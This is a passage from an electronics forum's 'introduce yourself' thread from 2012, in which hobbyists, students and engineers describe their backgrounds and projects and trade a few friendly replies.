I'm Dave from Sheffield, England. Fairly recent EE graduate. I'm a patent research engineer by day (yes, I know. I'm sorry!) but when I'm not working for the dark side, I'm mostly messing around with cars in some way. I don''t have the best "lab" equipment, but I get by.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on June 02, 2012, 03:58:55 am
As long as you reject somebody trying to patent the wheel............ again!
Title: Re: New Member, Please introduce yourself
Post by: digsys on June 03, 2012, 09:49:16 pm
Gidday, James here from Melbourne, Australia.
Doing R+D since the late 60s. Pretty much all fields over the years. Preferences are hardware design and firmware (machine code),
dun't like that fancy high level stuff .. like C or D or whatever it's called :-) .. Also do a lot of software, drivers, manufacture and
wash ducks part time. Nice to meechas
Title: Re: New Member, Please introduce yourself
Post by: vk6zgo on June 04, 2012, 01:11:48 pm
Wash ducks?? ???
Title: Re: New Member, Please introduce yourself
Post by: Satchmoeddie on June 05, 2012, 07:57:53 am
My name is Seth, I live in Phoenix Az, and was an industrial electrician, but do have an AA in EE. I am shy of my BS by some credits. I worked on lots of instrumentation, PLC, the usual 4-20 mA stuff and some fascinating older relay logic stuff in industries that still were using 25 cycle 2 phase power. I have worked on everything from data to cross country transmission lines and power generating stations. I am no EE, but I have been blackening outlets since age 7 with "experiments" and various projects. When I saw my friends father turn the Radio Shack 300 in 1 into 1 3000 in 1 by showing us stuff that was nowhere to be found in the instruction manual, I was hooked. This guy was an EE for Motorloa's GEG division. I will share what I know, and hope to gain some knowledge from the real EEs on this forum. I now build valve guitar amplifiers, effects for guitar, keyboard, bass, etc. I have finally delved into the DSP part of this now. I am cursing Nyquist, Fourier, tracking and timing errors for doing it too!
Title: Re: New Member, Please introduce yourself
Post by: WorldPowerLabs on June 07, 2012, 06:51:23 am
Hi,

Ben from NJ here.  I'm an EE by training (BSEE, Univ. of Pittsburgh), and I've been interested in electronics since I was about 7 years old.  Most of my work has been in medical device design and repair, although now my work is more in what I'd have to categorize as consumer electronics.  It can be frustrating to deal with the throw-away mentality of consumer products when you've spent almost a decade designing high-reliability, highly-regulated and documented devices.  It's also "interesting" to go around with Chinese vendors who are completely bent on doing things their own (wrong) way!  I have also spent some time working in the automotive restoration / hot rod world.

That's about it...
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Post by: Janski on June 07, 2012, 11:11:24 pm
Hi everybody

I'm Jan, a Test Support and Diag. Technician working for a Contract Electronic Manufacturer in Central Scotland. I've over 35 years in the industry working mainly on telecomms products.
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Post by: KAlSi3O8 on June 09, 2012, 11:24:09 am
Hello everybody,

My name is Mike and I have been an electronics technician for a large equipment manufacturer in the Portland Oregon area for 30 years (recently voluntarily unemployed and looking for work). Stuff I worked on: Spectrum Analyzers, TDRs, Arbitrary Waveform Generators, Logic Analyzers, various TV test equipment. Mostly I did repair, test and calibration, but I also have done some support type jobs (software, ran an engineering lab for a bit, service technician work). Hobby electronics has really changed over the years and I am getting back into it. Dave hooked me with his teardown Tuesdays but am really interested in his new USB power supply too. I need to get my home lab fully equipped. It sound like you people are a great resource for my future projects, and hopefully I can contribute a little too.
Title: Re: New Member, Please introduce yourself
Post by: Trickett on June 09, 2012, 12:00:58 pm
Hi all,

I'm Mike from Kingston, Ontario.  I'm currently in an Instrumentation Engineering Technology program in college, and working as a research assistant in the renewable energy field.  I got bitten by the electronics bug a few years back and have been soaking up as much knowledge as possible since then.  I'm currently playing around with the MSP430 series of micros, and I'm thinking of, at some point trying to make a PID speed controller out of general interest.
Title: Re: New Member, Please introduce yourself
Post by: neilrudden on June 15, 2012, 03:51:36 am
HI,

I have been a lurker on the forum for a while and have enjoyed watching Dave's videos.

I am interested in micro controllers, energy management and automation.

I have worked in the Telecontrol/SCADA field for the last 15 years.

I am based in Cape Town, South Africa.

Chat soon

Neil

Title: Re: New Member, Please introduce yourself
Post by: anotherlin on June 20, 2012, 08:13:19 am
Hi everyone,

I already started posting but I didn't introduced myself. Let me correct that.

So I am a hobbyist electronician. My 8 hours a day job is C++ development hence I have pretty extensive experience with computers. I work mostly on server development and system programming. I have no problem with assembly language and I've done some PIC programming for fun. I have a PICKit 3.

However, I am pretty much a noob regarding electronics. I do have some math and physics background from university, but not much else. So I'm currently reading a few books (sedra/smith, and agrawal/lang). It's actually fun to learn new stuffs :)

Moreover, it's really funny to come from the "virtual world" where 1+1=2 exactly, to the "real world" where resistors are only within 1% or caps within 10%, and all readings have a small percentage of error.

I hope that I can contribute and have fruitfull discussion with this forum :)

Best regards,
Title: Re: New Member, Please introduce yourself
Post by: PWood on June 22, 2012, 04:33:58 pm
Hi everybody,
  I'm Peter, an EE student at the University of New Orleans.  I love getting to see how everything works, which is why engineering appeals to me.  I am someone who likes to take things apart (and wishes he liked putting things back together as much).  I am also a bike mechanic (it's easier to put it back together if they're paying you to do it!).
Title: Re: New Member, Please introduce yourself
Post by: Nimesh Silva on June 23, 2012, 04:38:30 pm
Hi Dave and guys out there.

I'm Nimesh Silva from Sri Lanka. I'm currently working as an Asst. Engineer in electronics in company in sri lanka after completing my BSc.
I just joined the EEVBlog, but have been watching the "That Crazy Aussie's" youtube videos for a long time. And They are very interesting and found that very informative too.

Wish all the best and keep up the good work.  :)
Title: Re: New Member, Please introduce yourself
Post by: NeilR on June 23, 2012, 08:37:32 pm
Hi,

I've been a reader and watcher of the forum for some time, a couple of years I would say.

Finding time to reply, with a busy work life is not always easy!  For this reason, and the reason below, my posts may likely be not as frequent as other users, but I hope you'll appreciate my contributions.

I am in the UK and work for a specialist T&M equipment distributor so Dave has done many videos of equipment that we either supply, have supplied or that I see regularly.

I've been in the Electronics industry for 17 years, with the last 15 of those in Sales & Marketing, of either T&M Equipment or Testing and Consulting Services.
Title: Re: New Member, Please introduce yourself
Post by: TradieTrev on June 23, 2012, 11:55:22 pm
G'day!

I'm a fellow Aussie electronics enthusiast and youtube partner. Nearly been about 2 years since I've subscribed Dave's vids. Thought I'd do the logical step & present myself here too ;)

My youtube vids have mostly been aimed for a good laugh, but I feel it's time for a change and I hope to post more technical things.

Don't be shy to say G'day, I like to think I'm very active on all social media platforms. Just not google+ lulz

Cheers,
Trev
Title: Re: New Member, Please introduce yourself
Post by: KelleyCo on June 24, 2012, 02:36:17 am
HiLo!

I'm Kelley from Aurora/Denver Colorado.  Trying to get into hobby robots to find a suitably interesting left brained activity...stumbled across Dave on YT. Extreme newbie, so be gentle.  :) I found that I enjoy watching EE videos...can't really explain it. I find them creative in a very structured, rule-based way.  For some reason, that appeals to me.  LOL

Have a lovely day.

Kell
Title: Re: New Member, Please introduce yourself
Post by: elektronicks on June 24, 2012, 06:52:21 pm
Hello,

I'm Razvan from Romania and well.. i've been involved in analog circuitry for quite a while for the sole purpose of
understanding synthesizers. I compose electronic music in my free time and from time to time i take a bunch of
transistors and make them do something.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: BadQuantum13 on June 24, 2012, 09:55:49 pm
Hi,

Completed newbie at 47ish, just interested in seeing how things work etc.  Always have questions, but rarely experiment ... I know Dave ... you learn best by doing ;-).  Not there yet.  No Qualifications, and apologies in advance for any "dumb" questions.

Oh yes .. am from the UK.


And I like that the answer to your maths question always seems to be the answer to .. Life the Universe and Everything.
Title: Re: New Member, Please introduce yourself
Post by: petemnu on June 26, 2012, 03:28:14 am
hello all my name is pete
  ive been into ham radio for many years  and enjoy kit building ect
 electronics is a never ending learning curve always something new on the horizon
it will always be here to enjoy
Title: Re: New Member, Please introduce yourself
Post by: haggy38 on June 26, 2012, 02:42:38 pm
Hola,

My name is Gustavo, I'm been looking Dave's videos since the beginning, I'm civil engineer, but I always like electronics, just taking apart every toy my parents gave me. Im trying to learn backwards, I bought all the lab equipment . Oscilloscopes, bench multimeters, power supplies, etc and have no idea how to use it, but willing to learn. I live in Bogota Colombia.

Regards,
Gustavo
Title: Re: New Member, Please introduce yourself
Post by: vk3pb on June 30, 2012, 01:19:45 pm
Hi all

Peter, VK3PB from the vidcast 'Amateurlogic' just dropping by. Enjoy the show very much.

cheers Peter


Title: Re: New Member, Please introduce yourself
Post by: Pirate_Pete on July 01, 2012, 02:07:44 pm
Hi All

Im Pete a spakie with 30 years experience & am looking for the diagram for an Electronics  Australia Dual Tracking Power Supply that I built at Tafe 25 years ago when I did electronics as an add on to  my trade.

After all these years the Positive side of the supply is at full supply voltage. The Negative side still tracks as it should.

There is a 1 ohm 5 watt resistor in the output side as part of the over current feed back that has failed on the positive rail that I have replaced but  the problem must be before the resistor & I need the diagram to get my rusty brain around electronics after too many years of not needing to use it. 
Title: Re: New Member, Please introduce yourself
Post by: Strada916 on July 01, 2012, 11:35:48 pm
G'Day My name is Nick. I live in Perth WA and have an education in Electronics, however I work in mining as a Geology Technician. See you around and I hope to make some contributions to the forum.

Strada916
Title: Re: New Member, Please introduce yourself
Post by: Strada916 on July 01, 2012, 11:40:47 pm
Hi All

Im Pete a spakie with 30 years experience & am looking for the diagram for an Electronics  Australia Dual Tracking Power Supply that I built at Tafe 25 years ago when I did electronics as an add on to  my trade.

After all these years the Positive side of the supply is at full supply voltage. The Negative side still tracks as it should.

There is a 1 ohm 5 watt resistor in the output side as part of the over current feed back that has failed on the positive rail that I have replaced but  the problem must be before the resistor & I need the diagram to get my rusty brain around electronics after too many years of not needing to use it.

If you email Silicon Chip they have all the EA back catalogue. Or you can vist your reference library and they should have a copy of the magazine under journals

S
Title: Re: New Member, Please introduce yourself
Post by: Fluxed Matter on July 02, 2012, 11:39:36 am
I just wanted to say Hi! to everyone. I have been here reading and lurking every since I discovered one of Dave’s videos. I love them, and have watched many of them, but still have many more to watch. I been saying to my wife “Don’t turn on, take it apart!” every time we purchase something new. She doesn’t understand, but I love her anyways!  ;D So I thought it was time I joined the forum and refresh my skills and hopefully even learn more from the good folks here and maybe contribute someday.

About me, I work in the Capital of Silicon Valley, or in of its suburbs, and have just renewed my interest in hobby electronics. I have a degree in Electronic Engineering Technology and work now as an Equipment Engineer. I get very little chance now to do any serious electronics work these days other than solder out and in a new cap or two. Most of the time, we just swap the board out after we troubleshoot the problem because machine downtime is critical when working in a fab. So back to my hobby now, I am currently working on a couple of projects. One is a variation of Dave’s bench PSU and the other is his current dummy load. I have been working on these since I watched all the videos about the build on the blog here, and I am now trying to gather the parts for each project. At the same time I have been try to gather the minimum equipment necessary to pursue my hobby. Recently I pick up a scope and bench supply both used really cheap, the scope was $30 and the supply cost me $75, tax free and you gotta love that here in the States especially Cali. 8) I guess I can explain more about these in another post and also my attempts to put together a small workbench in the corner of the garage, and with pictures too. Type at you later.

Have a great day!
Fluxed Matter
Title: Re: New Member, Please introduce yourself
Post by: ItchyTasty42 on July 03, 2012, 01:41:15 am
Hey all, my name is Tom, and I been into electronics and electricity since I was about 11(28 now). 
I did an electronics college course many years ago when I was about 17-18 can't remember if it was btech or GNVQ; as it axed at the last minute.
I learnt a bit from that, but know much more from the electronics books I bought myself though.
Title: Re: New Member, Please introduce yourself
Post by: Banjax on July 04, 2012, 11:26:41 am
Hi guys, and girls!
I'm from Peterborough in the U.K.
Aged 45, I'm currently unemployed but was an alarm and CCTV engineer for past 18 years.
Previous to that an electronics engineer and semi-skilled coil winder/transformer builder.

Hope to meet you all on here soon.
All the best to you guys.

Ian.
Title: Re: New Member, Please introduce yourself
Post by: Simman on July 04, 2012, 02:16:43 pm
Hello, I'm Daniel and I'm 19.

After watching bunches of Videos on the Arduino platform I decided to buy one. Eventually
I stumbled upon Daves vids and have decided to pick up Electronics. Oh man...

I have absolutely no background in this stuff at all ;D. Most I had ever done was see my Cousins
soldering iron (It was cold :P) when I was like 11...hadn't a clue what it was for.

I've manged to build a Digital thermometer so far on a breadboard (really just followed a schematic
and removed the pot for contrast..I think its unnecessary really..) and am hoping to make myself
a bench Power supply once my Multimeter comes in. Just a little worried about playing with Mains
(since I was always taught it was dangerous).

~Simman
Title: Re: New Member, Please introduce yourself
Post by: Uncle Vernon on July 04, 2012, 02:48:01 pm
Just a little worried about playing with Mains
(since I was always taught it was dangerous).

~Simman

It is, but then so is driving a car. Get either wrong and friends and family get to run up their account at the florist. But with the right advice and assistance both can be done safely and in most cases legally. Welcome to the world of electronics.
Title: Re: New Member, Please introduce yourself
Post by: ninjasoar on July 05, 2012, 05:54:02 am
Hi all,

Another new undergrad goes into the eevblog bag. I am studying electronics in Southampton,UK and am basically from India. I enjoy building stuff, I also like sharing it with others and checking out their stuff and I feel these threads are the best place to do it.

My recent project was this Portable Digital Oscilloscope: Portoscope, kind of like DSO nano, but I tried to improve on it and some others. You can view source, schematic, PCB and some information on http://sonirajan.com/tag/portoscope/ (http://sonirajan.com/tag/portoscope/)

-ninjasoar: Rajan Soni, get it??
Title: Re: New Member, Please introduce yourself
Post by: OndraSter on July 06, 2012, 05:42:30 am
Hello fellow designers, engineers, electricians, and the rest of you too!

I am Andrew and I come from Czech Republic (that little country which is listed as "CZECHOSLOVAKIA" in some list here! :o). I am done with middle (high) school, now going to university, my field is "Computer Engineering", which should target stuff as FPGA, micros, ...

So far my projects ended up usually only on breadboards, some prototypes on home made PCBs (single sided only) and the last project was bigger - 32x48 bi-color LED field communicating through USB with PC. (Atmega in that.)

I am an AVR8 guy, fan of AT(X)mega series, my next project involves one of them (namely ATXmega256A3U).

Oh and "what I don't write or design I don't trust". Even if it was supposed to cost me more than using already made solution! Where is the learning process in that! ;D
Title: Re: New Member, Please introduce yourself
Post by: HardBoot on July 07, 2012, 02:44:29 pm
Hi bros, I'm a guy who likes tinkering and making random gadgets of questionable usefulness.
I don't like breadboards or board soldering much, I like wire wrap and dead bug.
I've used micros and fpga a bit, but mostly play with discreet.
Title: Re: New Member, Please introduce yourself
Post by: rhb on July 08, 2012, 09:54:30 am
My name is Reg.  I'm getting back to playing w/ electronics, radio in particular, after a 15 year hiatus.  Professional background is geophysics, so strong DSP and computer skills.  Electronics is all self taught, but I've got plenty of math & physics that crosses over. I've also got a strong appreciation of how and why lumped constant approximations break down ;-)
Title: Re: New Member, Please introduce yourself
Post by: dbinokc on July 08, 2012, 11:53:25 pm
Greetings all. I have been a long time viewer of the EEVBlog on youtube. I have been an electronics hobbyist since I was a teenager. I had a choice of going physics or EE, but chose physics. My day job is a programmer(so I obviously was not a very good physicist LOL )

I tinker around in a wide variety of electronics and mechanical projects.
Recent activity has been in 3D printing, getting started in metalcasting and
experimenting with the RTLSDR which is a software defined radio.
Title: Re: New Member, Please introduce yourself
Post by: JuiceKing on July 10, 2012, 12:06:23 pm
Hi, my name is Ken. I'm been in the software business for 25+ years and have a fair amount of software engineering experience including embedded system work and digital design. I've been an electronics hobbyist since teenage years, and am getting back into it now with a desire and determination to understand well what has too long been  too vague an idea of exactly what goes on in analog circuits. This is a great place to learn and share experience.
Title: Re: New Member, Please introduce yourself
Post by: trahloc on July 12, 2012, 03:19:05 pm
Dario from California, computer guy who decided to start playing with Arduinos and ended up running across Dave's blog.
Title: Re: New Member, Please introduce yourself
Post by: Smilinvamp on July 14, 2012, 05:47:58 am
ME?

We'll I'm Richard from Canada... I've been working for about 15 years as an Electronics Technologist.
How've you been?
Title: Re: New Member, Please introduce yourself
Post by: mazza85 on July 14, 2012, 10:27:20 pm
Hello guys,
I'm Matteo from Italy. I have an high school degree in electronics and a bachelor's in mechanical engineering. After buying an arduino board and tinkering with it, my interest in electronic. I came across this great forum after watching some of Dave's  amazing videos.
Title: Re: New Member, Please introduce yourself
Post by: kmmankad on July 14, 2012, 11:46:04 pm
I'm Kartik,currently studying Electronics Engineering in BITS Pilani University,India.My projects so far have been on the microcontroller side of things and I favor Cypress Semiconductors PSoC3/5 chips for the same.I blog at http://kmmankad.blogspot.com (http://kmmankad.blogspot.com) and maintain my code at https://github.com/kmmankad (https://github.com/kmmankad) .

My recent most project is a internet connected temperature sensor based on the PSoC3 and ENC28J60,for which I wrote the network stack on my own(with help from online sources and RFCs etc. of course.) and designed the PSoC3 PCB (my first :) ),which the great folks at dangerousprototypes graciously offered to get fabricated for me.
Link to a picture of the finished product - https://lh5.googleusercontent.com/-yVUwTxl_53Y/T_7YtgEsRoI/AAAAAAAAAr8/UF3d4vqOyGk/s800/EzPSoC3_Webbie.jpg (https://lh5.googleusercontent.com/-yVUwTxl_53Y/T_7YtgEsRoI/AAAAAAAAAr8/UF3d4vqOyGk/s800/EzPSoC3_Webbie.jpg)
Title: Re: New Member, Please introduce yourself
Post by: kgavionics on July 15, 2012, 10:25:01 am
Hi my name is kais and i'm student in avionics in Montreal.I love electronics and aviation of course.I'm interested in all kind how electronic devices works...lol


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Title: Re: New Member, Please introduce yourself
Post by: Ketturi on July 15, 2012, 07:43:16 pm
Hello, my name is Ketturi or Henri and I'm self learned electronics enthusiast/hobbyist from Finland. I am studying in final year at high school/secondary school. I'm interested in electronic design and repairing, from new hi-tech technology to old vintage tube electronics. Recently i have been playing with AVRs and older microprocessors and prototyping my nixie tube clock combining old and new technology.

I have blog (http://ketturi.kapsi.fi) but it is Finnish only, and even tough I am going to translate it, it can take a long time. I also have gallery (http://translate.google.com/translate?hl=fi&sl=fi&tl=en&u=http%3A%2F%2Fketturi.kapsi.fi%2FGalleria) which is Finnish only too, but google translate can almost make it readable.  I am also photographer and i have pictures at deviantart (http://ketturi.deviantart.com/gallery/).

Well, I hope I'm welcome.
Title: Re: New Member, Please introduce yourself
Post by: jnorth on July 17, 2012, 05:05:46 am
Hey everyone, I'm James. I live in the UK and work at a small electronics design company as a software engineer.

Title: Re: New Member, Please introduce yourself
Post by: box_of_rain_s4 on July 17, 2012, 08:34:18 am
Greetings from the U.S.  I have been following Dave for a long time, and a huge fan of his and the community.  I am a maintenance tech. in a small factory.  I have been studying electronics and software design for 5 years or so now. I design industrial automation controls as a hobby. I also build large scale ROV's.. Thanks Dave! thanks everyone!
Title: Re: New Member, Please introduce yourself
Post by: timcki on July 17, 2012, 10:47:20 am
I am Tim.
I am a geek.
I like messing with stuff.
When I was young I would rather play baseball than figure out how to learn ohms law
40 something years later I have become a nerd and I want to take everything apart and figure it out....
I play with arduinos but I can't code worth a sh**.....
Live in U.S.A
been reading the forums for a while trying to learn but I quickly get over whelmed,.....  so then I go outside and blow up capacitors.....
Title: Re: New Member, Please introduce yourself
Post by: jayris on July 18, 2012, 09:22:57 am
good day im jayson from philippines,,,,,working in electronic company :)
Title: Re: New Member, Please introduce yourself
Post by: Jimmy the Squid on July 18, 2012, 01:39:26 pm
Hello from California, USA. I'm a complete and utter newb when it comes to electronics. I am a jack of all trades though. Educated as a forester, with career in Government Finance. Though I have been a long-time computer geek. I stumbled across Dave's soldering tutorials on YouTube a few months back, and have worked my way through just about all of the blog videos since then. Once I caught up to the current Vblogs, I decided it was time to join the forums. Most of this is way over my head, but total immerison is a proven learning technique... at least until my wife finds out that the funny smell was a smoking inductor on my breadboard, and not the dog.
Title: Re: New Member, Please introduce yourself
Post by: Physics_Dude on July 18, 2012, 07:36:42 pm
Hello sub-world, greetings from the Sunshine State!
I'm just a dyslexic IT and EE nerd among other things.
Title: Re: New Member, Please introduce yourself
Post by: amvakar on July 18, 2012, 10:04:44 pm
Hello, I am Ryan, currently studying electrical and computer engineering at the University of Missouri. While there I've focused mostly on microcontrollers and embedded systems. I also tend to work on audio-related projects, as I enjoy both listening to and recording music without spending an exorbitant amount of money on things I'm sure don't work.
Title: Re: New Member, Please introduce yourself
Post by: Classicmacintosh on July 19, 2012, 08:41:18 am
G'day folks. I am Ed from sunny Blackpool in the UK. i found out about the EEVblog from MikesElectricStuff and have been a big fan ever since. Randomly decided to hop along here and see what it's like. So far I've been tinkering with the wiki a bit cleaning up the most prominent spam pages (sorry for the log spam, Dave!) and really like what I see here.

I probably should mention that I am a major computer nerd - for goodness' sake I run my own blinking Wndows Server domain at home serving about 10 PCs which were rescued from the landfill.
Anyways, thanks for reading my post and I look forward to being a part of these forums.
Title: Re: New Member, Please introduce yourself
Post by: Hrvoje-CRO on July 20, 2012, 04:29:32 am
Hello,

I am Hrvoje from Croatia. Electronics is my interest from my very early days. My formal education is PC technitian and a lot's non-formal education and still going further in education.  ;)
Title: Re: New Member, Please introduce yourself
Post by: Slothie on July 21, 2012, 05:34:52 pm
Hello I'm Slothie, also known as Ian Rolfe :)
I'm a 49 year old computer programmer from Berkshire in the UK, I've been dabbling in electronics since the age of 10 when I helped my dad build ham radio gear. I got into computers at school and followed that trail, but sometimes I wished I'd done engineering instead. So I've been playing with electronics in my spare time to make up!

I'm good at starting projects but not so good at finishing them, So my priority at the moment is to finish a few of them off! To this end I'm working on a website to document what I am doing so hopefully people will goad me to keep on!

I've been enjoying the eevblog for some time and its nice to see I'm not the only one who's not so good at finishing projects!
Title: Re: New Member, Please introduce yourself
Post by: chscholz on July 23, 2012, 02:56:41 am
Quit my job with LeCroy last week and will start working for Rohde & Schwarz out of the Dallas office.
My new job assignment will be related to Rohde & Schwarz's vector network analyzers (VNAs).


Chris



Hello everybody,

I just run into this website and want to take the opportunity to introduce myself.
My name is Chris Scholz, I work as Field Applications Engineer for a large US-based manufacturer of oscilloscopes and protocol analyzers.
Glad to be here , please don't hesitate to contact me for any questions related to electronic time-domain test and measurement issues.

Chris
Title: Re: New Member, Please introduce yourself
Post by: TTSDA on July 25, 2012, 08:19:24 am
Hi!

My name is Tiago and I'm a 17 year old student from Portugal.
I have been interested in electronics and how stuff worked since I can remember myself.
I stumbled upon the EEVBlog while looking for multimeter reviews :>
Title: Re: New Member, Please introduce yourself
Post by: plazma on July 27, 2012, 05:57:59 am
Hello,

I'm an electrical engineering student/design engineer from Finland. I'm finalizing my studies (thesis almost done) but have worked full time for many years already.

BTW: there is something wrong in the registering page.
There is a question "What is 84 divided by 2?:" at the end.
It did not accept my correct answer "the answer to life the universe and everything".

PS: The same answer was also asked when posting this message and it did not accept the correct answer either. Maybe Dave could fix it.

PPS: my latest toy https://www.dropbox.com/s/c741jrn9tqwyunh/4403.JPG (https://www.dropbox.com/s/c741jrn9tqwyunh/4403.JPG)
Title: Re: New Member, Please introduce yourself
Post by: hydroman1976 on July 28, 2012, 09:23:51 am
Hello everyone. I am a beginner interested in learning electronics. I have plenty of ideas and have experimented a little with bridge rectifiers, capacitors and other things. My main interest is in converting water into fuel(water fuel) which I have done for several years. I have some questions I'd like to discuss that I will post on another area.
hydroman1976
Title: Re: New Member, Please introduce yourself
Post by: DRT on July 30, 2012, 12:20:02 am
Hi All,

I've been an embedded designer for the last 20 years and have been working for one of the 'Silicon Fen' engineering consultancies in Cambridge for the last 13 years. I started at an early age - allegedly my first words were 'light on, light off'! As a teenager, before we could afford a home computer, I would camp in high-street shops and hack Z80 assembler on Sinclair home computers. In my professional career, I've been responsible for the software, and sometimes the hardware, for a number of consumer and industrial products. Unfortunately NDAs prevent me naming names.

Recently I've been more involved in project leading and management stuff and my 'hands on' work has declined, so I've resurrected electronics as a hobby.

David
Title: Re: New Member, Please introduce yourself
Post by: GnatGoSplat on July 31, 2012, 12:22:04 am
I'm a computer programmer for the local state university.  I don't deal with the inner-workings of hardware in my professional life, but I have loved electronics and gadgets for as long as I can remember.  I still remember begging my mom to buy me a Radio Shack autoranging digital multimeter in 4th or 5th grade and then being overjoyed when I found the exact one in my stocking on Christmas morning.  I recently got the "bug" to upgrade all my test equipment and started researching stuff on Google which is how I found this forum.
Title: Re: New Member, Please introduce yourself
Post by: bookaboo on August 01, 2012, 08:01:44 am
Hi,

I'm a professional electronics engineer. I do PCB design and PIC programming for some niche industrial applications.
I run my own business which unfortunately takes me away from the test bench and into horrible things like accounts and marketing (ugggh).

Been watching Dave on youtube recently and looking forward to checking out the forums here :)
Title: Re: New Member, Please introduce yourself
Post by: virtual_m on August 02, 2012, 11:34:01 am
Hi to all.

I´m student of electronics engineering (applied electronic) at University of Montenegro - Faculty for electrical engineering. Currently I´m working on my premaster degree project (and something beside that - just for fun :) ).
Recently I started to watch Dave´s videos on YT.. and now.. I´m here..


PS. Videos are great. I enjoy to watch them.. Thumbs up :)

(sorry for my english... it will be better :) )

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: lapm on August 06, 2012, 06:32:03 am
Hello everyone. I live in Finland, am 36 years of age...

Im been away from electronics for decade about... And finally desided to come back to hobby that used to bring great enjoyment for me. Alot has changed during this time. Leadfree soldering, etc...

Im not engineer, nor do i work on anything related to engineering or electronics as dayjob. Seriously i work in production line in beer manufacturing. Not much tinkering nor engineering there.

i got wife, dog and three cats. being doing various things during my lifetime, from trying to learn programming and electronics to metalworking..

Anyways, wanted to say hi to everyone.

PS. dave, love those videos of yours.
Title: Re: New Member, Please introduce yourself
Post by: Fahad Akhtar on August 06, 2012, 08:57:35 pm
Hi guys!
My question is not precisely related to the forum, which is, what would you guys suggest as a final year project to an Electrical Power Engineering student? I need as many ideas as possible.
Title: Re: New Member, Please introduce yourself
Post by: Fahad Akhtar on August 06, 2012, 09:00:22 pm
Hi guys!
My question is not precisely related to the forum, which is, what would you guys suggest as a final year project to an Electrical Power Engineering student? I need as many ideas as possible
Title: Re: New Member, Please introduce yourself
Post by: JBartley on August 07, 2012, 02:36:20 am
Hey everyone,
I am Justin from The US.  I am an electrical Engineer and have been following EEVblog from the beginning, I have just got around to signing up for the forums and I am looking forward to finally interacting with the growing community.
Title: Re: New Member, Please introduce yourself
Post by: Bluespark on August 07, 2012, 09:19:06 am
Hi all
great forum,just looking around.

dave keep up the great video blogs.

Alan. from liverpool england.

dave i have a cousin in pymble sydney. are you anywhere near here?

regards.
Title: Re: New Member, Please introduce yourself
Post by: htassell on August 08, 2012, 11:50:16 am
Hi everyone,

I'm a geophysicist based in Tasmania. I'm the director of a geophysical consultancy firm but also dabble in electronics engineering. Most of my work has mainly been based around high precision GPS and inertial positioning, seismic acquisition hardware and heavy lift UAV platforms.

Dave's blog and the resource here on the forums have been of great help, and entertainment to me and I look forward to making an active contribution myself.

Cheers,

Hugh
Title: Re: New Member, Please introduce yourself
Post by: grantw34 on August 10, 2012, 05:25:00 pm
Hi all
I joined this forum for the simple reason is I am looking for some one that  can  design a reasonably basic 12v circuit for me :)
So if any one is interested in assisting please let me know.
Thanks all
Grant
Title: Re: New Member, Please introduce yourself
Post by: electrode on August 10, 2012, 05:28:28 pm
We can certainly help (assuming it's not some crazy idea to get rich quickly). Post a new thread about it and paste the link here.
Title: Re: New Member, Please introduce yourself
Post by: mickpah on August 12, 2012, 09:13:32 pm
Hi Mike here
started my electrical  apprenticeship at about 10, maybe earlier ( was always at dad's side in the shed). He had a massive stack of Electronic Australia magazines (must have gone back to the 60's as I can remember prices in pounds). Think that's what me going. I decided I want to understand the diagrams with the squiggly lines !

Eventually did a real apprenticeship as an electrical fitter on a mine, and then industrial electronics certificate. Then a few years as an Electronic tech at a hospital (call them biomedical engineers now). Then off into the world of medical imaging (CT, MRI, Xray Nuclear Med & IT ) as a service engineer for 12.
Along the way picked up a degree in computing and went to the darkside for a time ( sales and marketing,  hated it. )
Now working in IT , a job that has no title ( maybe it's Just Do It & Make it WORK !) & back to tinkering with micro controllers at home.

look forward to a chat here
Title: Re: New Member, Please introduce yourself
Post by: cloudscapes on August 13, 2012, 03:08:27 am
New guy here,

Not an EE student or anything, not even that great at theory or math. Just a geek who started dabbling with DIY guitar pedals and electronic instruments back in 2007. It's a semi-serious thing now, where I'm actually considering making it my bread-earner! They've complexified quite a bit by now, using 8bit micros and recently PIC32s! Still learning all the while.

I've been watching the blog since episode 10 or thereabouts! ;D I don't really have great gear. A cheap Owon scope, an okay UNI-T meter, a WES51 iron, a few other things. I use Diptrace for layouts. Used to etch my own boards. Can't be bothered anymore unless I'm in a huge hurry. Some recent things I've made:

http://nearworlds.org/stuff/nautilus_pots.jpg (http://nearworlds.org/stuff/nautilus_pots.jpg)
http://nearworlds.org/stuff/sneak_peek_guts.jpg (http://nearworlds.org/stuff/sneak_peek_guts.jpg)
http://farm8.staticflickr.com/7039/6919415825_4edeca96f9_b.jpg (http://farm8.staticflickr.com/7039/6919415825_4edeca96f9_b.jpg)
http://farm8.staticflickr.com/7068/6878939753_27cd2ff139_o.jpg (http://farm8.staticflickr.com/7068/6878939753_27cd2ff139_o.jpg)

My blog
http://www.soniccrayonfx.com (http://www.soniccrayonfx.com)
Title: Re: New Member, Please introduce yourself
Post by: adauphin on August 13, 2012, 11:04:34 am
Not an EE here but I play one on TV.... ;D  Been a big DIYer forever and am far more mechanically inclined than electronically. Always had the desire to get into the electronic field but life has taken me elsewhere.....never too late though.

Having grown up with using film cameras, I feel slightly ahead of the curve with the newest crop of digital cameras....mainly for light metering. This just goes to show that you really need to undestand the basics for what you are working on to be at the top of your game. Now that I am tinkering around with old amplifiers and such, I want to get my feet wet with an analog oscilloscope to mainly understand the "roots" of the game.

I'm the type of person that needs to tear everything apart just to see how it works, hard for me to say "I can't figure it out"...just need more time to that's all.


My son is turning 4 next month and when he gets older, I want him to be able to diagnose and repair the things I do so he can have a good idea of what he wants to be, as well as just being handy. The more he gets his hands dirty the easier of a decision it will be for him to make for his career. My daughter is 6 and likes the things I do as well but isn't as interested in the "hands on" as my son...just part of the gene I suppose.  ;)

Glad to be a part of the community.

Doug
Title: Re: New Member, Please introduce yourself
Post by: ratdude747 on August 14, 2012, 01:17:52 pm
Ratdude747 here.

I am currently both an electronics enthusiast and a sophomore at Purdue Collge of technolgy (New Albany) as a EET student.

I've been mucking with electronics since I was in 4th grade (mom bought me a radio shack sensorlab kit), been soldering sice I was a fresman in HS (Learned on an FIRST FRC team).

Most of my past "experiments" are documented over at Badcaps.net (I'm a Mod there). However, more and more of them would be more along the lines of this forum  and thus why I finally joined.

My other current hobbies are bicycles and FIRST robotics (currently an Event volunteer and a technical adviser of sorts).
Title: Re: New Member, Please introduce yourself
Post by: FenderBender on August 14, 2012, 01:19:35 pm
Hey ratdude. I remember you from Badcaps. I think my username was TheLaw. Wasn't too active but I did have a bunch of posts.

Welcome aboard
Title: Re: New Member, Please introduce yourself
